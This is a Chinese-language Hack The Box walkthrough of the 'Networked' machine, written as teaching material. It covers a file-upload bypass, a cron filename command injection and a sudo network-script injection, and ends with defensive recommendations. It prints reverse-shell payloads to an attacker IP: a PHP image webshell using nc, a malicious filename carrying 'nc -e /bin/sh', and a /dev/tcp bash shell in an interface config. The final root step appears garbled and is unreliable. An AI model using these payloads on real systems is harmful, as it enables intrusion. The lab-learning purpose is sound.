hack the box之Networked靶场练习
字数 1585 2025-08-11 08:35:44
Hack The Box - Networked 靶场渗透测试教学文档
靶场概述
Networked 是一个中等难度的 Hack The Box 靶机,主要考察以下技能:
- Web 应用文件上传漏洞利用
- 文件类型验证绕过
- 计划任务提权
- 网络接口配置漏洞提权
信息收集阶段
1. 端口扫描
使用 nmap 进行初始扫描:
nmap -sV -p- <靶机IP>
发现开放端口:
- 80/tcp - Apache httpd (Web 服务)
2. Web 目录枚举
使用 dirb 或 gobuster 扫描 Web 目录:
gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt
发现重要目录和文件:
- /backup/ - 包含备份文件
- /photos.php - 图片展示页面
- /upload.php - 文件上传功能
- /uploads/ - 上传文件存储目录
漏洞分析与利用
1. 文件上传漏洞
在 /backup/ 目录下载 backup.tar 文件,解压后分析 upload.php 源码:
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
// ... 其他验证代码 ...
}
}
关键漏洞点:
- 仅检查文件 MIME 类型是否为 image/*
- 文件扩展名检查可以被绕过
- 上传后文件权限设置为 644 (rw-r--r--)
2. 绕过文件上传限制
利用方法:
- 创建包含 PHP 代码的图片文件
- 使用双扩展名绕过验证,如 shell.php.jpg
- 上传后访问 /uploads/shell.php.jpg 执行代码
示例攻击步骤:
- 创建包含 PHP 反弹 shell 的图片文件:
GIF89a;
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f"); ?>
- 上传文件并触发执行
3. 初始访问
成功获取反向 shell 后,查看当前用户:
whoami
输出:apache
权限提升 - Apache → Guly
1. 发现计划任务
在 /home/guly/ 目录发现 crontab.guly 文件:
*/3 * * * * /usr/local/bin/check_attack.php
2. 分析 check_attack.php
关键代码:
$files = preg_grep(scandir($path));
foreach ($files as $key => $value) {
// ...
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
}
}
漏洞点:
- 文件名被直接拼接进命令执行
- 可以通过创建特殊文件名注入命令
3. 利用计划任务提权
利用步骤:
- 在 /var/www/html/uploads/ 创建特殊文件名文件:
touch "/var/www/html/uploads/; nc -e /bin/sh <攻击者IP> <端口> ;"
- 等待计划任务执行(最多3分钟)
- 获取 guly 用户的 shell
权限提升 - Guly → Root
1. 发现特权脚本
在 guly 用户目录发现 changename.sh:
#!/bin/bash
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_ ]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
2. 分析漏洞
关键点:
- 脚本以 root 权限运行(通过 sudo -l 确认)
- 用户输入被追加到网络配置文件
- 正则表达式允许空格字符
- 可以通过注入换行符添加任意配置
3. 利用方法
利用步骤:
- 运行 changename.sh
- 在 NAME 参数输入:
test DEVICE=eth0
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=tcp
NAME=test
- 这将创建一个新的网络接口配置
- 通过 ifup 触发网络接口启动
- 可以进一步利用来执行任意命令
替代方法(更直接):
- 在 NAME 参数输入:
test DEVICE=eth0
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=tcp
NAME=test
RUN+=/bin/bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'
- 这将直接获得 root 权限的反弹 shell
最终权限获取
成功获取 root shell 后,可以读取 flag:
cat /root/root.txt
总结与防御建议
漏洞总结
-
文件上传漏洞:
- 不充分的文件类型验证
- 不安全的文件权限设置
-
计划任务提权:
- 不安全的文件名处理导致命令注入
- 计划任务以高权限运行
-
网络配置脚本提权:
- 不安全的用户输入处理
- 配置注入漏洞
防御建议
-
文件上传安全:
- 使用白名单验证文件扩展名
- 在服务器端验证文件内容
- 设置严格的文件权限
- 将上传文件存储在 Web 根目录外
-
计划任务安全:
- 避免直接使用用户提供的输入构建命令
- 使用绝对路径执行命令
- 实施严格的输入验证
-
特权脚本安全:
- 实施严格的输入验证
- 避免将用户输入直接写入配置文件
- 使用专用工具修改系统配置
- 遵循最小权限原则
-
系统加固:
- 定期审计计划任务和 cron 作业
- 限制 sudo 权限
- 实施适当的文件系统权限
通过本靶机的练习,可以全面了解从 Web 应用到系统层面的多种漏洞利用技术,以及如何通过链式利用多个漏洞实现完整的渗透测试路径。